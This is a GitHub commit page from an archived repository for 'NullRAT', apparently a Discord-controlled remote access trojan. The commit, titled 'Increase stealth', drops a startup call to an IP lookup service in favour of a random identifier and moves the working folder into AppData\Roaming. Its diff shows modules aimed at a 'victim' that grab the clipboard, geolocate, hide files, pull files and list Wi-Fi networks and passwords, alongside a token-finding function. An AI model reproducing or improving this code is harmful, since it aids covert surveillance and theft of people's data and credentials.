Skip to content
This repository was archived by the owner on Mar 6, 2026. It is now read-only.

Commit c2df6db

Browse files
committed
NullRAT: Increase stealth
Do not contact IP Address provider immediately on startup, instead using a random number based identification code Should've noticed this beforehand honestly lmao
1 parent 0ee8d6c commit c2df6db

7 files changed

Lines changed: 10 additions & 21 deletions

File tree

NullRAT/RAT.py

Lines changed: 4 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -6,14 +6,9 @@
66

77
from datetime import datetime
88
from socket import create_connection
9-
import os, psutil, re, requests, sys, subprocess
9+
import os, psutil, re, requests, sys, subprocess, random
1010

1111
############### Global functions available in every cog
12-
13-
def IP():
14-
try: return requests.get("https://api.ipify.org").text.rstrip()
15-
except: return "127.0.0.1"
16-
1712
def genEmbed(self, title, timestamp, description=None):
1813
if description is None:
1914
embed = discord.Embed(
@@ -56,24 +51,24 @@ def find_token(self):
5651
#> custom bot implementation
5752

5853
original_dir = os.getcwd()
54+
identification = random.randint(10000, 90000)
5955

6056
class NullBot(commands.InteractionBot):
6157
def __init__(self, **options):
6258
super().__init__(**options)
63-
self.ip_addr = IP()
6459
self.original_dir = original_dir
6560

6661
# Checks if username is Admin/Administrator
6762
if "dmin" in os.getenv("username"):
68-
self.identifier = self.ip_addr
63+
self.identifier = identification
6964
else:
7065
self.identifier = os.getenv("username")
7166

7267
genEmbed = genEmbed
7368
find_token = find_token
7469

7570
client = NullBot(test_guilds=server_ids)
76-
nr_working = f"C:\\Users\\{os.getenv('username')}\\.cache"
71+
nr_working = f"C:\\Users\\{os.getenv('username')}\\Appdata\\Roaming\\.cache"
7772

7873
if os.path.isdir(nr_working) != True:
7974
os.mkdir(nr_working)

NullRAT/modules/clipboard.py

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -8,8 +8,7 @@
88
class GetClipboard(commands.Cog):
99
def __init__(self, bot: commands.Bot):
1010
self.bot = bot
11-
self.ip_addr = self.bot.ip_addr
12-
11+
1312
@commands.slash_command( )
1413
async def get_clipboard(self, ctx, victim):
1514
"""Sends current text stored in user clipboard

NullRAT/modules/geolocate.py

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -8,8 +8,7 @@
88
class Geolocate(commands.Cog):
99
def __init__(self, bot: commands.Bot):
1010
self.bot = bot
11-
self.ip_addr = self.bot.ip_addr
12-
11+
1312
@commands.slash_command( )
1413
async def get_geolocation(self, ctx, victim):
1514
"""Finds all geolocation information of victim

NullRAT/modules/hideFile.py

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -8,8 +8,7 @@
88
class HideFile(commands.Cog):
99
def __init__(self, bot: commands.Bot):
1010
self.bot = bot
11-
self.ip_addr = self.bot.ip_addr
12-
11+
1312
@commands.slash_command( )
1413
async def hidefile(self, ctx, victim, file):
1514
"""Hide any file on victim's computer

NullRAT/modules/receivefiles.py

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -8,8 +8,7 @@
88
class ReceiveFiles(commands.Cog):
99
def __init__(self, bot: commands.Bot):
1010
self.bot = bot
11-
self.ip_addr = self.bot.ip_addr
12-
11+
1312
@commands.slash_command( )
1413
async def receivefiles(self, ctx, victim, file_path):
1514
"""Receives file from victim's PC.

NullRAT/modules/wifiList.py

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -8,8 +8,7 @@
88
class WifiList(commands.Cog):
99
def __init__(self, bot: commands.Bot):
1010
self.bot = bot
11-
self.ip_addr = self.bot.ip_addr
12-
11+
1312
@commands.slash_command( )
1413
async def wifilist(self, ctx, victim):
1514
"""Lists all wifi networks

NullRAT/modules/wifiPass.py

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -8,8 +8,7 @@
88
class WifiPass(commands.Cog):
99
def __init__(self, bot: commands.Bot):
1010
self.bot = bot
11-
self.ip_addr = self.bot.ip_addr
12-
11+
1312
@commands.slash_command( )
1413
async def wifipass(self, ctx, victim, ssid):
1514
"""Lists specified wifi password

0 commit comments

Comments
 (0)